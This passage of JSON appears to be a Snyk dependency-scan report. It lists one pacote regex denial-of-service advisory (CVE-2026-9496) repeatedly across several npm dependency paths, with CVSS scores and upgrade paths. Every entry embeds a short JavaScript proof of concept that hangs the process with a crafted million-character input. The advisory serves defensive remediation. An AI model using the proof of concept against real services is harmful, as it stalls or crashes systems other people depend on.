"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "20.0.1"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "20.0.1"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "20.0.1"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "20.0.1"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "19.0.2"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
